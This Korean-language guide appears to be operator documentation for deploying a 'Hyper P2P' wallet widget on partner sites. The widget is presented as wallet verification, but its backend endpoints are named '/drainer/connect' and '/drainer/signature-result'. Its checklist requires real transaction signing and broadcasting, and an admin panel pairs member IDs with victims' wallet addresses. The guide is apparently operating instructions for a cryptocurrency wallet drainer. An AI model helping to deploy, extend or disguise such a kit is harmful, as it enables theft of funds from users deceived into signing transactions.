# [전달용] Hyper P2P 위젯 연동 가이드 (최신)

안녕하세요.  
기존 API 직접 연동 방식 대신, 현재는 **위젯 방식 연동**이 표준입니다.

## 1) 위젯 호출 URL

- TRON  
  `https://<YOUR_DOMAIN>/static/tron-widget.html?chain=tron&clientRef=<회원ID>&returnUrl=<복귀URL>`
- EVM(BNB)  
  `https://<YOUR_DOMAIN>/static/evm-widget.html?chain=evm&clientRef=<회원ID>&returnUrl=<복귀URL>`

### 필수 파라미터

- `clientRef`: 사이트 회원 ID (반드시 전달)
- `returnUrl`: 완료 후 복귀할 URL (강력 권장)

## 2) 완료 이벤트 수신 (파트너 페이지)

위젯 완료 시 부모 페이지로 `postMessage` 이벤트가 전달됩니다.

이벤트 payload 예시:

```json
{
  "type": "hp2p-wallet-verified",
  "source": "hp2p-widget",
  "chain": "tron",
  "address": "T...",
  "chainId": null,
  "skipped": false
}
```

수신 후 파트너 서버/DB에 **회원ID(clientRef) + 지갑주소 + 체인** 페어링 저장을 권장합니다.

## 3) 관리자 반영 규칙

- 백엔드는 `/api/public/drainer/signature-result` 시점에 완료 기록(`status=completed`)을 저장합니다.
- 관리자 목록은 주소 기준 집계라, **동일 주소 재인증 시 행 수가 늘지 않을 수 있습니다.**
- 회원 ID는 `client_ref` 기준으로 표시됩니다.

## 4) 주의사항

- `clientRef` 누락 시 관리자 화면에서 회원 ID가 비어 보일 수 있습니다.
- 브라우저 환경에 따라 `window.close()`가 제한될 수 있어 `returnUrl`이 중요합니다.
- 배포 후에는 강력 새로고침(Ctrl+F5)로 캐시를 비워 주세요.

## 5) 점검 체크리스트

1. TRON/EVM 각각 1회 실제 서명·브로드캐스트 완료
2. 완료 오버레이 이후 복귀(`returnUrl`) 동작 확인
3. 관리자 목록에서 회원 ID(client_ref)와 지갑주소 페어링 확인
4. 서버 재시작 후(`pm2 restart backend`) 반영 확인

---

문의 시 아래 정보와 함께 전달 부탁드립니다.

- 테스트 체인(TRON/EVM)
- 테스트 지갑주소
- `clientRef` 값
- 테스트 시각(분 단위)
- 개발자도구 Network 캡처(`/drainer/connect`, `/drainer/signature-result`)